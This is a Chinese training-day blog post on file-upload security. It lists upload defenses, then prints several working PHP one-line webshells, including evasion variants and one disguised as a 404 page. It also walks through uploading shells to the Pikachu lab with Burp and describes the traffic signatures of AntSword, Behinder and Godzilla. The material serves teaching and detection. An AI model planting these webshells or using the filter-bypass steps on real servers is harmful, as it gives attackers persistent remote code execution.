网安实训Day7—_—

一、文件上传防御手段及绕过手段总结

(一)文件扩展名服务端白名单校验

服务器应仅允许上传预定义的安全文件类型列表中的文件,如常见的图片、文档和视频格式。

(二)文件内容服务端校验

通过检查文件的内容(如文件头)来验证文件类型,确保上传的文件类型与预期一致。

(三)上传文件重命名

对上传的文件进行重命名,避免使用用户提供的文件名,以减少安全风险。

(四)隐藏上传文件路径

不直接暴露上传文件的存储路径,防止攻击者直接访问这些文件。

(五)文件上传的目录设置为不可执行

将上传文件的目录设置为不可执行,防止攻击者上传并执行恶意脚本。

(六)限制文件大小和上传频率

设定文件大小和上传频率的限制,防止恶意用户或自动化脚本滥用上传功能。

(七)内容扫描

对上传的文件进行病毒扫描和内容检查,确保它们不包含恶意代码或敏感数据。

(八)用户身份验证和授权

只允许经过身份验证和授权的用户上传文件,通过OAuth、API密钥等机制实现。

(九)隔离存储

将上传的文件存储在与应用服务器分离的专用存储区域,减少直接访问风险。

二、文件上传常用一句话木马

(一)普通一句话木马

<?php @eval($_POST[123456]);?>

中括号里面的内容是使用菜刀或蚁剑连接时的密码

(二)防爆破一句话

<?php

substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);

?>

*菜刀地址http://192.168.64.137/x.php?x=myh0st

(三)过狗一句话

<?php

($_=@$_GET[s]).@$_($_POST[hihack])

?> //菜刀地址 http://localhost/1.php?s=assert

<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);

?>

(四)404隐藏一句话

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL /error.php was not found on this server. </p>

</body></html>

<?php

@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");

?>

(五)不用问号一句话

<script language="php">eval ($_POST[hihack]);</script>

(六)躲避检测

<?php assert($_REQUEST["hihack"]);?>

变形一句话后门:访问该网页,然后菜刀连接:/myh0st.php 密码:hihack

三、三种webshell管理工具的使用方法(pikachu靶场演示)

(一)antsword

1.创建一句话木马php文件

2.题目提示只能上传图片,改后缀名

3.打开bp和bp代理抓包,上传该文件

4.抓包成功,修改文件后缀名后放行

5.提示文件上传成功

6.打开蚁剑,添加代理和添加数据,bp还是打开的

7.测试连接,蚁剑抓包成功

8.send to decode 进行smart decode解码

9.蚁剑流量特征是php base64加密,最明显的特征就是明文中会有@ini_set()这个函数,也会有eval,加密后的数据包里大多是 _0x开头,payload进行分段然后用base64加密,看出测试流量中的数据包都是采用@ini_set函数开头,在base64数据包中它是QGluaV9zZXQ

(二)behinder

1.打开冰蝎,生成木马

2.找到生成的文件,按一样的方式上传到pikachu

3.回到冰蝎进行添加后保存

4.设置代理后保存

5.再双击我们添加的数据后bp抓包成功,共俩包,放行

6.流量特征

冰蝎4.0建立时候java也会与主机建立tcp连接,端口在49700左右每次连接就逐一叠加,冰蝎4.0他是内置了10个user-agent,每次连接shell都会换一个进行使用连接,他有固定的请求头和响应头,并且默认时候冰蝎webshell都有一串密钥,这个密钥是连接密码32位md5值的前16位,默认连接密码是rebeyond。

特征:Accept: application/json, text/javascript, */*; q=0.01

浏览器可接受任何文件,但最倾向application/json 和 text/javascript

弱特征:Content-type: Application/x-www-form-urlencoded

长连接:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection

(三)godzilla

1.打开哥斯拉,“管理”->“生成”,按图所示生成一个木马。(使用自己写的木马连不上哥斯拉,可能因为哥斯拉的流量都是经过加密的

2.选择文件生成路径并设置文件名

3.打开看一下生成的木马文件,其实就是php的一句话木马(但为了后面方便,我直接改的png文件)

4.在pikachu文件上传上传我们的文件,bp抓包,修改后缀名后放行

5.回到哥斯拉,“目标”->“添加”,填写里面的内容。要和这个木马生成时候选的的选项保持一致,设置代理,,测试连接,用bp拦截

6.抓包成功,共产生3个包

7.流量特征

强特征:cookie值最后有一个分号Cookie: PHPSESSID=iocrpclbbt8mpg4i11j5ocohu0;

弱特征:user-agent如果不修改的话会返回使用的jdk信息,Java/1.8.0_121(具体什么版本取决于JDK环境版本)

弱特征:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

相应包中的数据前16位是md5+base64编码后16位是md5

解码后首当其冲eval

四、文件上传无回显如何查找webshell地址

(一)审查日志文件

1.Web服务器日志:检查Web服务器的访问日志和错误日志,特别是与文件上传功能相关的请求。这些日志可能包含有关上传文件的详细信息,如请求的URL、时间戳、客户端IP地址等。通过分析这些信息,你可能能够推断出上传文件的存储位置。

2.应用程序日志:如果应用程序有自己的日志记录功能,也请检查这些日志。它们可能包含有关文件上传和处理的更多详细信息

(二)利用安全扫描工具

使用Webshell查杀工具(如D盾、河马等)对网站进行全面扫描。这些工具能够检测并报告可疑的Webshell文件,包括那些被隐藏在网站目录结构中的文件

(三)分析代码

检查应用程序或网页后端的代码,特别是处理文件上传的部分。了解文件是如何被命名、存储和处理的,以及是否有任何安全措施(如文件类型检查、大小限制、病毒扫描等)被绕过

五、文件上传表单的无参/有参情况下构造表单

(一)文件上传表单的无参情况下构造表单

在文件上传表单的无参(或说是“简单”或“基础”)情况下,构造表单通常指的是创建一个HTML表单,该表单允许用户选择文件并将其上传到服务器,而不依赖于额外的参数(如JavaScript动态生成的参数、隐藏字段等)

(二)文件上传表单的有参情况下构造表单

在文件上传表单的“有参”情况下,构造表单意味着除了基本的文件上传字段外,还包括其他表单元素(如文本输入框、选择框等),这些元素作为参数与文件一起提交到服务器。这些参数可以用于各种目的,比如指定文件上传后的存储路径、文件类型验证、用户身份验证等

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值